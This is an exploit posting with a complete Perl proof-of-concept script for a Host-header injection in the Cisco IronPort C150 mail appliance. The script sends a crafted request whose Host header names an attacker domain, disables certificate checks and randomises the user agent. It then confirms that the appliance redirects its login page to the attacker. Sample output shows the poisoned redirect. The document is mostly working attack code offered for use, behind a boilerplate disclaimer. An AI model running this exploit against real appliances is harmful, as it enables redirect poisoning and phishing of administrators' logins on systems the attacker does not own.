Cisco IronPort C150 Header Injection

Cisco IronPort C150 suffers from a remote host header injection vulnerability.


MD5 | feac5342eb54086bd1e887565be25065

#!/usr/bin/perl -w
#
#
# Cisco IronPort C150 Remote Header 'Host' Injection
#
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
#
# [[email protected] ironport]$ perl ironport_c150.pl https://192.168.1.1 attacker.com
# # Cisco IronPort C150 Remote Header 'Host' Injection
# # ==================================================
# # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
# # > Host => attacker.com
# # > User-Agent => iCab/4.0 (Macintosh; U; Intel Mac OS X)
# # > Content-Type => application/x-www-form-urlencoded
# # < Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0
# # < Date => Mon, 02 Sep 2019 07:42:12 GMT
# # < Pragma => no-cache
# # < Location => https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch
# # < Server => glass/1.0 Python/2.6.4
# # < Content-Type => text/html
# # < Expires => Mon, 02 Sep 2019 07:42:12 GMT
# # < Last-Modified => Mon, 02 Sep 2019 07:42:12 GMT
# # < Client-Date => Mon, 02 Sep 2019 07:42:13 GMT
# # < Client-Peer => 192.168.1.1:443
# # < Client-Response-Num => 1
# # < Client-SSL-Cert-Issuer =>
# # < Client-SSL-Cert-Subject =>
# # < Client-SSL-Cipher => DHE-RSA-AES128-GCM-SHA256
# # < Client-SSL-Socket-Class => IO::Socket::SSL
# # < Client-SSL-Warning => Peer certificate not verified
# # < Refresh => 0; URL=https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch
# # < Set-Cookie => sid=6t67zdL9tSW0mcqetPC0; expires=Wednesday, 04-Sep-2019 07:42:12 GMT; httponly; Path=/; secure
# # < Title => : Redirecting
# # < X-Frame-Options => SAMEORIGIN
# # ==================================================
# # IronPort is Poisoned => https://attacker.com/login?CSRFKey=c7103f80-977a-a61e-eecb-84717e621136&referrer=https%3A%2F%2Fattacker.com%2FSearch
#
#
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'attacker.com';


print "# Cisco IronPort C150 Remote Header 'Host' Injection
# ============================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print "# e.g. perl $0 https://target:port/ attacker.com
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(
protocols_allowed => ['http', 'https'],
ssl_opts => { verify_hostname => 0 }
);
$browser->timeout(10);
$browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
print "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# > $_ => ", $request->header($_) for $request->header_field_names;
say "# < $_ => ", $response->header($_) for $response->header_field_names;
print "# ============================================================\n";
if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){
printf ("# IronPort is Poisoned => %s\n", $response->header('Location'));
exit;

} else {

printf ("# Exploit failed!\n");
exit;

}

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